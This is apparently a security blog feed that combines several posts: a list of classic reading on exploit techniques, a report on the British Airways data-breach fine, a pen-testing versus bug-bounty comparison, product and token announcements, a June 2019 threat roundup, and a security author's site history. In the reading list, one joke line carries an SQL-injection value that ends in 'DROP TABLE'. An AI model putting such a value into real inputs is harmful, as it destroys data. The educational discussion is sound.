Summer’s longer days and slower pace invite us to pick up a book, follow our questions, and try our hand at something new.

At Veracode, I get the chance to talk with our developers about the experiences that led them to the work they do today. How did they begin to cultivate the security-mindedness that they bring to their coding? Was it a book they stumbled upon, a salient moment in the wake of a security incident, the guidance of a mentor, or a podcast that drew them in? What sparked their interest in doing things differently?

We think a lot about developers, curious but unsure, staring out at the sea of information security knowledge. It can feel overwhelming trying to orient yourself to something so wide and deep. To help developers begin, we put together some of the favorite books, podcasts, blogs, and hands-on exercises of Veracoders across our development, security, and product teams. From a just-published page-turner to classic Phrack articles, there’s something here for everyone who is interested in becoming more security-minded.

My favorites on the list include the hands-on exercises recommended by Sarah Gibson, one of our application penetration testers, and a walk through some information security classics with Senior Principal Software Engineer Dan Murphy (to read the full Dive Into the Classics, please see Dan's post.

So dip your toe in or take a deep dive—happy summer and happy learning!

Summer Reading: Dive Into the Security Classics

Veracode Developer Reading List Dan Murphy

Shakespeare. Brontë. Dickens. In literature, the classics have long been a staple of summer reading lists. Computer security has its own share of classics – reference points that serve as a foundation for understanding the field’s ever-changing chessboard of attack and defense. This list of computer security summer reading can be enjoyed either lounging on the beach with sand beneath your toes, or curled up in bed with your face lit by the blue-filtered midnight glow of a tablet. Whether you are a new developer interested in learning more about computer security, or a seasoned practitioner looking to revisit some of the seminal works in the field, I hope that you enjoy the articles below as much as I did when I first stumbled across them!

Smashing the Stack for Fun and Profit

http://phrack.org/issues/49/14.html

Aleph One’s Smashing the Stack for Fun and Profit was truly eye-opening when it was first introduced. Sometimes the answer to “what does this block of code do?” can be “anything the caller wants it to!” This concept lives on in more modern incarnations like XSS and SQL injection, but Smashing the Stack is the granddaddy of code injection. I originally encountered it independently, and was pleasantly surprised years later when it resurfaced as legitimate assigned reading for a grad class. Taking the time to write some shell code is valuable to understanding the fundamentals of how code executes, and is a great puzzle. Check out https://travisf.net/smashing-the-stack-today for tips on recreating the environment today.

OG ODBC

http://www.phrack.org/issues/54/8.html

Under the inauspicious heading of “ODBC and MS SQL server 6.5,” this article explores a simple concept: what could happen if a web application copies the strings received from HTML form elements directly to SQL statements? We all know how that one ended. Twenty years later, there are more than 37 million Google hits for “sql injection.” By now, Bobby Tables is applying for his first job after graduating from “University’); DROP TABLE applicants; --”, and still getting results!

Dawn of XSS

https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf

CERT advisory CA-2000-02, since consigned to PDF archive, contains the following quote: “Because one source is injecting code into pages sent by another source, this vulnerability has also been described as ‘cross-site’ scripting.” The humble window.alert() function has been igniting developers’ limbic systems ever since with joy and terror, the latter being more common if you’re seeing it in prod.  Of course, XSS is much more dangerous than simply popping modals – untold millions of cookies have been exfiltrated since the line “malicious exploitation of this vulnerability has not been reported” was written in the advisory.

Tick TOC Tick TOU

https://www.usenix.org/legacy/events/fast05/tech/full_papers/wei/wei.pdf

Another class of attacks worth some summer reading is Time-of-Check to Time-of-Use. Sometimes the security put in place to thwart an attack has a race condition that can still allow an attacker to circumvent it. TOCTTOU Vulnerabilities in UNIX-Style File Systems: An Anatomical Study is a great introduction to the concept, with some specific examples. You can get a more hands-on appreciation by doing (spoiler alert!) Level 2 of overthewire.org’s Leviathan challenge at http://overthewire.org/wargames/leviathan/. While the specifics for these classes of attacks have changed, the concepts are still very relevant: this spring (May 2019), a high-profile Docker bug – attributed to a TOCTOU flaw – allowed containers to break out and overwrite any file on the host as root (see: https://duo.com/decipher/docker-bug-allows-root-access-to-host-file-system and https://seclists.org/oss-sec/2019/q2/131).

Once Upon a Free

http://phrack.org/issues/57/9.html

Another tale of simple mistakes with direct consequences is contained within the bytes of Once Upon a Free. A dereference of an invalid pointer can be made much more insidious by controlling the contents of the memory being referenced, and how it gets used. By being aware of the implementation of an allocation scheme, an attack can predict and exploit a simple use of an invalid pointer to great effect. The write-up in https://blog.trendmicro.com/trendlabs-security-intelligence/root-cause-analysis-of-cve-2014-1772-an-internet-explorer-use-after-free-vulnerability/ goes deep on an Internet Explorer vulnerability. Earlier this year, there was a very scary Chrome zero-day that built on use-after-free: https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/. One of the most interesting takeaways in these write-ups is the exploit code in JavaScript. You may not be writing C/C++ code, but almost all major browsers are implemented in native code, and it is important to understand what happens under the covers.

The Geometry of Innocent Flesh on the Bone

https://hovav.net/ucsd/dist/geometry.pdf

With stacks smashed and buffers overflowing with shell code, vendors introduced techniques to make stacks non-executable and limit the impact of code injection. But what it if were possible to hijack execution without injecting actual code? In The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86), Hovav Shacham shows how small gaps in the intended behavior of a system can be built upon to produce a system that produces dramatic results. There are signs in the Veracode restrooms that read “Employees must wash hands before returning to libc.” They still manage to make me grin every now and then.

British Airways Faces £183m Fine Following Data Breach

Veracode British Airways GDPR Data Breach Fine

The Information Commissioner’s Office (ICO) has handed British Airways what it claims is the biggest penalty – and the first to be made public under new rules – since the General Data Protection Regulation (GDPR) came into play last year. According to the ICO, 500,000 customers had their personal information compromised during the 2018 breach, and the airline needs to pay up – to the tune of £183 million.

According to the BBC, British Airways, owned by IAG, has said that it is “surprised and disappointed” by the penalty, following an attack by hackers who allegedly carried out a “sophisticated, malicious criminal attack” on its website. The airline first disclosed the incident on Sept. 6, 2018 and had initially reported roughly 380,000 transactions had been affected.

The ICO, which believes the attack began in June 2018, found that user traffic to BA’s website was re-routed to a fraudulent website that gave hackers the ability to steal customer information. As a result of the airline’s poor security posture, customer log in information, payment card and travel booking details, and names and addresses were compromised.

In a statement, Information Commissioner Elizabeth Denham said, “People's personal data is just that - personal. When an organisation fails to protect it from loss, damage or theft, it is more than an inconvenience. That's why the law is clear - when you are entrusted with personal data, you must look after it. Those that don't will face scrutiny from my office to check they have taken appropriate steps to protect fundamental privacy rights.”

Ensuring that your organization is in compliance with GDPR is critical for both your customers’ protection and your bottom line. To learn more about how Veracode DevOps Penetration Testing can be used to meet compliance requirements, check out this blog post.

What is the difference between penetration testing and bug bounty programmes?

To stay secure many businesses regularly test their systems to identify vulnerabilities. Penetration testing is one of the most common types of cyber security assessment but in recent years a growing number of businesses have also turned to ‘bug bounty’ programmes to supplement their testing programmes.

Penetration testing (often referred to as pen testing) is a well-known and established form of assessment, typically carried out by a company that specialises in ethical hacking. (Covered here in great detail by Redscan’s extensive glossary). Bug bounty programmes, however, are a more recent offering, viewed by many as a complement to penetration testing, helping to widen the scope of security testing on platforms that are already well-secured against attacks.

Many large organisations run their own on bug bounty programmes, including Google, Facebook and Microsoft (which paid out millions in bounties in 2018). Even the EU has begun funding programmes.

In fact, according to Gartner, by 2022, automated and CSSTP (crowdsourced security testing platform) products and services will be employed by more than 50 per cent of enterprises, rising from fewer than 5 per cent today. In this article we take a look at the key differences between security testing offered by pen testing providers and bug bounty programmes.

  1. The expertise

Pen tests are carried out by experienced ethical hackers employed by specialist cyber security companies. Professional ethical hackers are required to have undertaken qualifications in cyber security, ensuring that they have an in-depth knowledge of the legal, technical, and ethical aspects of testing. Before any work is undertaken by a penetration tester, it is common practice to know the person’s identity and sign a contract to agree the scope of the work.

Bug bounty programmes also attract professional ethical hackers, however, as anyone can sign up to a programme, testing will typically be carried out by a mixture of professionals and amateurs, with hugely varied experience, knowledge, and ethics. Bug bounties tend to attract students and those looking to practice their ethical hacking skills. For this reason there can be lots of fake, duplicate and/or false vulnerabilities reported.

  1. The scope

Pen tests are conducted to meet the exacting needs of a specific client. Indeed, there are many types of assessment, ranging from internal and external network testing, to web application testing, wireless testing, and more. Testing can also be arranged to suit the operational requirements of a business, for example, by being conducted outside of regular working hours.

Bug bounty programmes are focussed only on testing websites and web applications that are publicly accessible. For this reason, bounty programs aren’t able to detect vulnerabilities inside a network or before websites and applications go live. The scope of the testing is also typically far less well defined, and sometimes organisations will not receive the type of feedback they are seeking.

  1. The duration

Penetration testing for web applications is usually carried out over a relatively short time – perhaps two to three days.

Big bounty programmes, on the other hand, are not conducted in line with specific deadlines and for this reason are best used for continuous testing. This makes them ideal for large technology businesses that are constantly releasing new products and updates. But it also means they are less useful for companies that have less frequent release cycles.

  1. The cost

The cost of a penetration test is typically based on the number of days required for hackers to achieve the agreed objective of the test.

Most bug bounty platforms, on the otherhand, allow organisations to set the price they are prepared to pay. While this may seem appealing, setting bounties too low might well deter testers. On the flipside, if a huge number of vulnerabilities are discovered, costs can quickly mount up.

Some bug bounty programs offer rewards for £100,000s but such single pay outs remain the exception.

  1. The feedback

Any good penetration test will not only identify exposures, but will also provide the feedback and support needed to address them. Bug bounty programmes are focussed solely on discovering vulnerabilities and for this reason the level of feedback will generally be low.

If an organisation manages its own bug bounty program, it may struggle to deal with an influx of reports from testers.

 

The post What is the difference between penetration testing and bug bounty programmes? appeared first on CyberDB.

Introducing Veracode’s New Analytics Capabilities

If we have data, let's look at data. If all we have are opinions, let's go with mine." -- Jim Barksdale

The ability to report on your application security program depends on access to your AppSec data. For questions from “how can I help my board understand our current risk posture?” to “which teams are developing secure code, and which need additional AppSec training?” – data is the key. Nobody should guess when it comes to answering questions as important as “are we compliant?”

We have recently transformed how Veracode helps you answer questions regarding your AppSec program. By building an entirely new back-end infrastructure and using a cutting-edge analytics tool, we’ve been able to give our customers new insights into our data and provide a hub for AppSec analytics, right within the Veracode platform.

The goals of our new analytics

As part of our analytics re-design, we needed to support two use cases: (1) our customers’ analytics needs in the platform using the embedded BI tool, and (2) our internal sales and services staff’s analytics needs using a standalone BI tool. To provide this functionality, we needed a tool that could support our security model and multi-tenancy while providing excellent performance, scalability, flexibility, and support in a Veracode-hosted environment. 

Behind the scenes of the analytics overhaul

Our new infrastructure design started with moving data into the AWS cloud, and replicating scan, findings, and organizational data into an AWS Redshift database. This database drives our existing reporting capabilities both in the platform and in any custom reports we create, and the performance has been outstanding. From there, we use SQL transformations to take our operational schema and map the data into a “star schema.” The star schema is a simple schema designed to avoid multiple joins in queries, which thereby optimizes performance in analytics queries. We replicate this star schema into our smaller back-end Redshift databases, which feed data into two BI instances. 

 

 

Our standalone BI instance, used internally at Veracode to understand our customers’ AppSec portfolios, was developed first. Internal Analytics contains scans and findings data, as well as operational and low-level data that wouldn’t be of interest to a customer but is useful for our internal analytics. Once data was available in Internal Analytics, we set up meetings with SMEs across Veracode to build standardized dashboards that would provide value across Veracode. We defined the set of questions that Veracoders wanted to answer for their customers, e.g., “are we compliant?”, “how long do our scans take?”, “how frequently do we scan?”, and built dashboards that answered those questions. This resulted in nine shared dashboards and four “explores,” which provided our internal users with the ability to answer the bulk of their questions about Veracode’s customer base. The shared dashboards provide a good starting point for our users, and then if they wish to explore data from scratch they can start at one of the pre-defined “explore” levels: Applications, Scans, Findings, or Users.

Once Internal Analytics was generally available, we turned our sights on our external BI instance, the Veracode Analytics feature, which contains a subset of the data available in Internal Analytics. We realized early on that our internal and external customers have many of the same questions, and we were able to reuse eight of the nine dashboards in our new analytics offering, which you can see under Veracode Dashboards in the Analytics section of the Veracode platform. The four predefined explores are also available in the platform for new analyses.

 

 

We have designed these solutions so that the same built-in dashboards, base data, and data models are used in both internal and external analytics, which reduces both the development time and testing required for these shared dashboards. By creating automated test suites and a well-defined automated CI/CD pipeline for our dashboards and data models, we can ensure that new development in our analytics environment will not break the existing analytics. 

Security policy

Security is job #1 (and #2, and #3, and so on) at Veracode, so we hold ourselves to exceptionally high standards when it comes to security. This means we encrypt data both in transit and at rest, and focus on data security at all levels. Additionally, we “practice what we preach” here at Veracode, meaning all of our data engineering and analytics code is scanned using Veracode, and our strict policies mean we continually monitor our own policy compliance. 

Take advantage of our new capabilities

Now that the Veracode Analytics solution is live and available to all customers, I encourage you to use it to understand your AppSec risk posture. Start with our built-in dashboards, and then play around. With each tile in a dashboard, you can right click in the top left corner and choose “explore from here” to change the visualization. Data is power, and we are happy to be putting the power of AppSec data in our customers’ hands!

CLB Bitsdaq Exchange Listing Information

Hello Cloudbric community! We’re pleased to provide you with more information regarding CLB’s listing with Bitsdaq Exchange. Check it out below.

Bitsdaq exchange listing CLB

1) Token: CLB (ERC20)
2) Listing schedule
– Open for Deposit: Thursday, July 4, 2019 1PM KST
– Open for Trade: Friday, July 5, 2019 5PM KST
– Open for Withdraw: Monday, July 8, 2019 5PM KST

3) Currency transaction

– CLB/BTC trading pair
– Other pairs such as CLB/ETH will available in the future

4) Transaction fee: 0.25%
5) Other fees:
– Deposit fee: None
– Withdrawal fee: Fee will be updated on Bitsdaq (here) on July 8

===

Bitsdaq is a Hong Kong based cryptocurrency exchange based on the unique technology of its official partner, Bittrex exchange. Learn more about Bitsdaq here. Stay tuned for future listings announcements!


Make sure to follow us on our social media platforms (LinkedInTwitter, and Facebook) and our recently opened Telegram Announcement Channel for the latest updates!

The post CLB Bitsdaq Exchange Listing Information appeared first on Cloudbric.

Cyber Security Roundup for June 2019

Keep Patching!
June 2019 was another very busy month for security update releases. Microsoft released updates to patch 22 critical rated vulnerabilities, Intel released 11 fixes, and there were also several critical security updates for Apple Airport, Adobe Flash Player, Cisco devices, Cisco Data Centre Network ManagerDell SupportAssistGoogle Chrome, Firefox and Apache.  One further standout vulnerability was the "SACK Panic" TCP Linux and FreeBSD kernel vulnerability, uncovered by Netflix researchers, however, Microsoft released a security advisory in regards to TCP SACK Panic by the end of the month.

The National Security Agency (NSA) backed up UK National Cyber Security Centre (NCSC) and Microsoft’s continuing strong recommendations for everyone to apply the latest security updates to all versions of Microsoft Windows, including the unsupported XP, Vista and Windows 2003 Server, to protect against the supercritical CVE-2019-0708 “BlueKeep” vulnerability.

More Major Ransomware Attacks coming to the UK?
We all know the United States government famously takes a stand of no negotiation with terrorists and kidnappers, with the specific policy of never paying ransom demands. There is a good reason for this policy, as paying ransoms just serves to encourage further kidnapping and ransom demands. So it was interesting to learn this month, that US local government does not adhere to the same policy when dealing with ransomware demands. Rivera Beach (Florida) paid a whopping $600,000 ransom to hackers after its computers systems were taken over by ransomware after an employee clicked on a link within a phishing email. Phishing emails are the typical starting ingress of most mass ransomware outbreaks which cripple organisations.  The Lake City (Florida) government officials said they had also paid a $460,000 ransom to cybercrooks following a ransomware attack on their municipality on 10th June.  Meanwhile, Baltimore officials approved $10 million to cover ongoing expenses related to its ransomware attack.

Paying ransomware demands will fuel further ransomware attacks, so I expect ransomware attacks to further escalate. So the big question is, can we expect UK further local government authorities and large organisations to be hard hit by mass ransomware outbreaks? The answer to that will come down to how well their patch management is, and whether lessons have been truly learnt from the destructive 2017 WannaCry ransomware outbreaks, which took down a number of NHS services. Given the recent BlueKeep Microsoft Windows critical vulnerability is expected to spark new strains of ransomware in the coming months, ransomware very much like WannaCry with the devasting capability of rapidly infecting and propagating via unpatched Microsoft Windows systems connected to flat networks, we shall soon find out.

Data Breaches
No major UK data breaches were reported in June 2019, but on the other side of the pond, a misconfigured AWS S3 bucket managed by a data integration company led to confidential data from Netflix, TD Bank, Ford and other companies being exposed. And a misconfigured MongoDB database resulted in 5 million personal records left open to the public via a website. Data breaches caused by misconfigured cloud services operated by third parties is becoming a bit of regular theme.

APT10 Cloud Hopper Campaign further Exposed
An interesting article by Reuters revealed eight of the world’s biggest technology service providers were successfully hacked by APT10 aka 'StonePanda'. APT10, linked to China hackers, operated a sustained campaign over a number of years dubbed “Cloud Hopper”, which Reuters revealed affected Hewlett Packard Enterprise (HPE), IBM, Fujitsu, Tata Consultancy Services, NTT Data, Dimension Data, Computer Sciences Corporation, and DXC Technology. The ATP10 attackers searched for access points into networks an IT systems, when found, extracted confidential information and potential trade secrets. These reported hacks may well be the tip of the iceberg. The Register stated, having gained access to the major service providers, the APT10 group may have gained access to many of their customers. Those customers run into the millions, “dramatically increasing the pool of valuable industrial and aerospace data stolen.”

BLOG
NEWS

VULNERABILITIES AND SECURITY UPDATES

HUAWEI NEWS AND THREAT INTELLIGENCE
AWARENESS, EDUCATION AND THREAT INTELLIGENCE
REPORTS

Happy Birthday TaoSecurity.com


Nineteen years ago this week I registered the domain taosecurity.com:

Creation Date: 2000-07-04T02:20:16Z

This was 2 1/2 years before I started blogging, so I don't have much information from that era. I did create the first taosecurity.com Web site shortly thereafter.

I first started hosting it on space provided by my then-ISP, Road Runner of San Antonio, TX. According to archive.org, it looked like this in February 2002.


That is some fine-looking vintage hand-crafted HTML. Because I lived in Texas I apparently reached for the desert theme with the light tan background. Unfortunately I didn't have the "under construction" gif working for me.

As I got deeper into the security scene, I decided to simplify and adopt a dark look. By this time I had left Texas and was in the DC area, working for Foundstone. According to archive.org, the site look like this in April 2003.


Notice I've replaced the oh-so-cool picture of me doing American Kenpo in the upper-left-hand corner with the classic Bruce Lee photo from the cover of The Tao of Jeet Kune Do. This version marks the first appearance of my classic TaoSecurity logo.

A little more than two years later, I decided to pursue TaoSecurity as an independent consultant. To launch my services, I painstakingly created more hand-written HTML and graphics to deliver this beauty. According to archive.org, the site looked like this in May 2005.


I mean, can you even believe how gorgeous that site is? Look at the subdued gray TaoSecurity logo, the red-highlighted menu boxes, etc. I should have kept that site forever.

We know that's not what happened, because that wonder of a Web site only lasted about a year. Still to this day not really understanding how to use CSS, I used a free online template by Andreas Viklund to create a new site. According to archive.org, the site appeared in this form in July 2006.


After four versions in four years, my primary Web site stayed that way... for thirteen years. Oh, I modified the content, SSH'ing into the server hosted by my friend Phil Hagen, manually editing the HTML using vi (and careful not to touch the CSS).

Then, I attended AWS re:inforce the last week in June, 2019. I decided that although I had tinkered with Amazon Web Services as early as 2010, and was keeping an eye on it as early as 2008, I had never hosted any meaningful workloads there. A migration of my primary Web site to AWS seemed like a good way to learn a bit more about AWS and an excuse to replace my teenage Web layout with something that rendered a bit better on a mobile device.

After working with Mobirise, AWS S3, AWS Cloudfront, AWS Certificate Manager, AWS Route 53, my previous domain name servers, and my domain registrar, I'm happy to say I have a new TaoSecurity.com Web site. The front page like this:


The background is an image of Milnet from the late 1990s. I apologize for the giant logo in the upper left. It should be replaced by a resized version later today when the AWS Cloudfront cache expires.

Scolling down provides information on my books, which I figured is what most people who visit the site care about.


For reference, I moved the content (which I haven't been updated) about news, press, and research to individual TaoSecurity Blog posts.

It's possible you will not see the site, if your DNS servers have the old IP addresses cached. That should all expire no later than tomorrow afternoon, I imagine.

Let's see if the new site lasts another thirteen years?

Reference: TaoSecurity Press

I started appearing in media reports in 2000. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.

Reference: TaoSecurity Research

I started publishing my thoughts and findings on digital security in 1999. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.

2015 and later:

  • Please visit Academia.edu for Mr. Bejtlich's most recent research.
2014 and earlier:

Reference: TaoSecurity News

I started speaking publicly about digital security in 2000. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.
  • 2017
    • Mr. Bejtlich led a podcast titled Threat Hunting: Past, Present, and Future, in early July 2017. He interviewed four of the original six GE-CIRT incident handlers. The audio is posted on YouTube. Thank you to Sqrrl for making the reunion possible.
    • Mr. Bejtlich's latest book was inducted into the Cybersecurity Canon.
    • Mr. Bejtlich is doing limited security consulting. See this blog post for details.
  • 2016
    • Mr. Bejtlich organized and hosted the Management track (now "Executive track") at the 7th annual Mandiant MIRCon (now "FireEye Cyber Defense Summit") on 29-30 November 2016.
    • Mr. Bejtlich delivered the keynote to the 2016 Air Force Senior Leaders Orientation Conference at Joint Base Andrews on 29 July 2016.
    • Mr. Bejtlich delivered the keynote to the FireEye Cyber Defense Live Tokyo event in Tokyo on 12 July 2016.
    • Mr. Bejtlich delivered the keynote to the New Zealand Cyber Security Summit in Auckland on 6 May 2016.
    • Mr. Bejtlich delivered the keynote to the Lexpo Summit in Amsterdam on 21 April 2016. Video posted here.
    • Mr. Bejtlich discussed cyber security campaigns at the 2016 War Studies Cumberland Lodge Conference near London on 30 March 2016.
    • Mr. Bejtlich offered a guest lecture to the Wilson Center Congressional Cybersecurity Lab on 5 February 2016.
    • Mr. Bejtlich delivered the keynote to the SANS Cyber Threat Intelligence Summit on 4 February 2016. Slides and video available.
  • 2015
  • 2014
  • 2013
    • Mr. Bejtlich taught Network Security Monitoring 101 at Black Hat Seattle 2013: 9-10 December 2013 / Seattle, WA.
    • Mr. Bejtlich offered a guest lecture on digital security at George Washington University on 23 November 2013.
    • Mr. Bejtlich spoke about digital security at the Mid-Atlantic CIO Council on 21 November 2013.
    • Mr. Bejtlich was a panelist at the Brookings Institute on 19 November 2013.
    • Mr. Bejtlich offered several guest lectures on digital security at the Massachusetts Institute of Technology on 18 November 2013.
    • Mr. Bejtlich was a panelist at the Atlantic Council on 15 November 2013.
    • Mr. Bejtlich organized and hosted the Management track at the 4th annual Mandiant MIRCon on 5-6 November 2013.
    • Mr. Bejtlich was a panelist at the Free Thinking Film Festival on 2 November 2013.
    • Mr. Bejtlich offered the keynote at the Cyber Ark user conference on 30 October 2013.
    • Mr. Bejtlich was a panelist at the Indiana University Center for Applied Cybersecurity Research on 21 October 2013.
    • Mr. Bejtlich spoke at the national ISSA conference on 10 October 2013.
    • Mr. Bejtlich was a panelist at the Politico Cyber 7 event on 8 October 2013.
    • Mr. Bejtlich offered the keynote at the BSides August 2013 conference on 14 September 2013.
    • Mr. Bejtlich taught Network Security Monitoring 101 at Black Hat USA 2013: 27-28 and 29-30 July 2013 / Las Vegas, NV.
    • Mr. Bejtlich was a panelist at the Chatham House Cyber Security Conference in London, England on 10 June 2013.
    • Mr. Bejtlich appeared in the documentary Hacked, first available 7 June 2013.
    • Mr. Bejtlich was interviewed at the Center for National Policy, with video archived, on 15 May 2013.
    • Mr. Bejtlich delivered a keynote at the IT Web Security Summit in Johannesburg, South Africa on 8 May 2013.
    • Mr. Bejtlich was a panelist at The George Washington University and US News & World Report Cybersecurity Conference on 26 April 2013.
    • Mr. Bejtlich testified to the House Committee on Foreign Affairs on 21 March 2013.
    • Mr. Bejtlich testified to the House Committee on Homeland Security on 20 March 2013.
    • Mr. Bejtlich testified to the Senate Armed Services Committee on 19 March 2013.
    • Mr. Bejtlich shared his thoughts on the APT1 report with the Federalist Society on 12 March 2013. The conference call was recorded as Cybersecurity And the Chinese Hacker Problem - Podcast.
  • 2012
    • Mr. Bejtlich taught TCP/IP Weapons School 3.0 at Black Hat Abu Dhabi 2012: 3-4 Dec / Abu Dhabi, UAE.
    • Mr. Bejtlich spoke at a Mandiant breakfast event in Calgary, AB on 28 Nov 2012.
    • Mr. Bejtlich spoke at AppSecUSA in Austin, TX on 26 Oct 2012. The talk Incident Response: Security After Compromise is posted as a video (42 min).
    • Mr. Bejtlich organized and hosted the Management track at the 3rd annual Mandiant MIRCon on 17-18 October 2012.
    • Mr. Bejtlich spoke at a SANS event in Baltimore, MD on 5 Oct 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event in Dallas, TX on 13 Sep 2012.
    • Mr. Bejtlich taught TCP/IP Weapons School 3.0 at Black Hat USA 2012: 21-22 and 23-24 Jul / Las Vegas, NV.
    • Mr. Bejtlich taught a compressed version of TCP/IP Weapons School 3.0 at a U.S. Cyber Challenge Summer Camp in Ballston, VA on 28 Jun 2012.
    • Mr. Bejtlich participated on a panel titled Hackers vs Executives at the Forrester conference in Las Vegas on 25 May 2012.
    • Mr. Bejtlich spoke at the Cyber Security for Executive Leadership: What Every CEO Should Know event in Raleigh, NC on 11 May 2012.
    • Mr. Bejtlich participated on a panel titled SEC Cyber Security Guidelines: A New Basis for D&O Exposure? at the 8th Annual National Directors & Officers Insurance ExecuSummit in Uncasville, CT on 8 May 2012.
    • Mr. Bejtlich delivered the keynote to the 2012 National Cyber Crime Conference in Norwood, MA on 30 Apr 2012.
    • Mr. Bejtlich spoke at the FOSE conference on a panel discussing new attacks on 4 Apr 2012.
    • Mr. Bejtlich testified to the US-China Economic and Security Review Commission on 26 Mar 2012.
    • Mr. Bejtlich spoke at the Air Force Association CyberFutures conference (audio mp3) on 23 Mar 2012.
    • Mr. Bejtlich delivered the keynote to the IANS Research Mid-Atlantic conference on 21 Mar 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Secretary Michael Chertoff in New York, NY on 15 Mar 2012.
    • Mr. Bejtlich spoke to the Augusta, GA ISSA chapter on 8 Mar 2012.
    • Mr. Bejtlich participated on a panel about digital threats at the RSA Executive Security Action Forum on 27 Feb 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Gen (ret.) Michael Hayden in Washington, DC on 22 Feb 2012.
    • Mr. Bejtlich spoke at the ShmooCon Epilogue conference on 30 Jan 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Secretary Michael Chertoff in Houston, TX on 12 Jan 2012.
  • 2011
  • 2010
  • 2009
  • 2008
  • 2007
    • Mr. Bejtlich offered a guest lecture on digital security at George Mason University on 29 November 2007.
    • Network Security Operations: 27-29 August 2007 / public 3 day class / Chicago, IL
    • Mr. Bejtlich spoke to the Chicago Electronic Crimes Task Force and the Chicago Snort Users Group on 30 and 29 August 2007, respectively.
    • Mr. Bejtlich taught Network Security Operations on 21-23 August 2007 / Cincinnati, OH
    • Mr. Bejtlich taught TCP/IP Weapons School (layers 4-7) at USENIX Security 2007: 6-7 August 2007 / Boston, MA.
    • Mr. Bejtlich taught TCP/IP Weapons School at Black Hat USA 2007: 28-29 and 30-31 July 2007 / Caesars Palace, Las Vegas, NV.
    • USENIX 2007: 20-22 June 2007 / Network Security Monitoring and TCP/IP Weapons School (Layers 2-3) tutorials / Santa Clara, CA
    • Mr. Bejtlich briefed GFIRST 2007: 25-26 June 2007 / Network Incident Response and Forensics (two half-day tutorials) and Traditional IDS Should Be Dead conference presentation / Orlando, FL
    • Mr. Bejtlich taught TCP/IP Weapons School (Layers 2-3) and briefed Open Source Network Forensics at Techno Security 2007: 5-7 June 2007 / / Myrtle Beach, SC.
    • Mr. Bejtlich briefed Open Source Network Forensics at ISS World Spring 2007: 31 May 2007 / Washington, DC
    • Mr. Bejtlich briefed Network Incident Response and Forensics at AusCERT 2007: 23-24 May 2007 / Gold Coast, Australia.
    • Mr. Bejtlich taught Network Security Monitoring: 25 May 2007 / Sydney, Australia.
    • Mr. Bejtlich briefed at CONFIDENCE 2007: 13 May 2007 / Krakow, Poland.
    • Mr. Bejtlich briefed at ShmooCon: 24 March 2007 / Washington, DC; video here.
  • 2006
  • 2005
    • Mr. Bejtlich presented three full-day tutorials at USENIX LISA 2005 in San Diego, CA, from 6-8 December 2005. He taught network security monitoring, incident response, and forensics.
    • Mr. Bejtlich spoke at the Cisco Fall 2005 System Engineering Security Virtual Team Meeting in San Jose, CA on 10 October 2005.
    • Mr. Bejtlich spoke at the Net Optics Think Tank at the Hilton Santa Clara in Santa Clara, CA on 21 September 2005. He discussed network forensics, with a preview of material in his next book Real Digital Forensics.
    • Mr. Bejtlich taught network security monitoring to security analysts from the Pentagon with Special Ops Security on 23 and 24 August 2005 in Rosslyn, VA.
    • Mr. Bejtlich spoke at the InfraGard 2005 National Conference on 9 August 05 in Washington, DC on the basics of network forensics.
    • Mr. Bejtlich taught a one day course on network incident response, with his forensics book as the background material, at USENIX Security 05 on 1 August 2005 in Baltimore, MD.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his NSM book as the background material, at USENIX Security 05 on 31 July 2005 in Baltimore, MD.
    • Mr. Bejtlich offered a guest lecture on digital security at George Washington University on 23 June 2005.
    • Mr. Bejtlich spoke at the Techno Security 2005 conference on 13 June 2005 in Myrtle Beach, CA. He was invited by Tenable Security to appear at their evening social event.
    • Mr. Bejtlich spoke at the Net Optics Think Tank on 18 May 2005 in Sunnyvale, CA.
    • Mr. Bejtlich presented Keeping FreeBSD Up-To-Date and More Tools for Network Security Monitoring at BSDCan 2005 on 13 May 2005.
    • Mr. Bejtlich spoke to the Pentagon Security Forum on 19 April 2005.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his book as the background material, at USENIX 05 on 14 April 2005 in Anaheim, CA.
    • Mr. Bejtlich spoke to the Government Forum of Incident Response and Security Teams (GFIRST) on 5 April 2005 in Orlando, FL.
    • Mr. Bejtlich spoke to the Information Systems Security Association of Northern Virginia (ISSA-NoVA) on 17 February 2005 in Reston, VA.
    • Mr. Bejtlich spoke at the 2005 DoD Cybercrime Conference on 13 January 2005 in Palm Harbor, FL.
  • 2004
    • Mr. Bejtlich spoke to the DC Systems Administrators Guild (DC-SAGE) on 21 October 2004 about Sguil.
    • Mr. Bejtlich spoke to the DC Linux Users Group on 15 September 2004 about Sguil.
    • Mr. Bejtlich spoke to the High Technology Crime Investigation Association International Conference and Expo 2004 on 13 September 2004 in Washington, DC about Sguil.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his first book as the background material, at USENIX Security 04 on 9 August 2004 in San Diego.
    • Mr. Bejtlich spoke to the DC Snort User's Group on 24 Jun 2004 about Sguil.
    • Mr. Bejtlich presented Network Security Monitoring with Sguil (.pdf) at BSDCan on 14 May 2004.
    • Mr. Bejtlich spoke to the SANS Local Mentor program in northern Virginia for two hours on 11 May 2004 about NSM using Sguil. Joe Bowling invited him.
    • Mr. Bejtlich gave a lightning talk demo of Sguil at CanSecWest 04 on 22 April 2004.
  • 2003
    • Mr. Bejtlich spoke to ISSA-CT about network security monitoring on 9 December 2003.
    • Mr. Bejtlich taught Foundstone's Ultimate Hacking Expert class at Black Hat Federal 2003 in Tyson's Corner, 29-30 September 2003.
    • Mr. Bejtlich recorded a second webcast on network security monitoring for SearchSecurity.com. He posted the slides here.
    • Mr. Bejtlich taught the first day of Foundstone's Ultimate Hacking Expert class at Black Hat USA 2003 Training in Las Vegas on 28 July 2003.
    • Mr. Bejtlich spoke on 21 July 2003 in Washington, DC at the SANS NIAL conference.
    • Mr. Bejtlich discussed digital security in Toronto on 13 March 2003 and in Washington, DC on Tuesday, 25 March 2003 at the request of Watchguard.
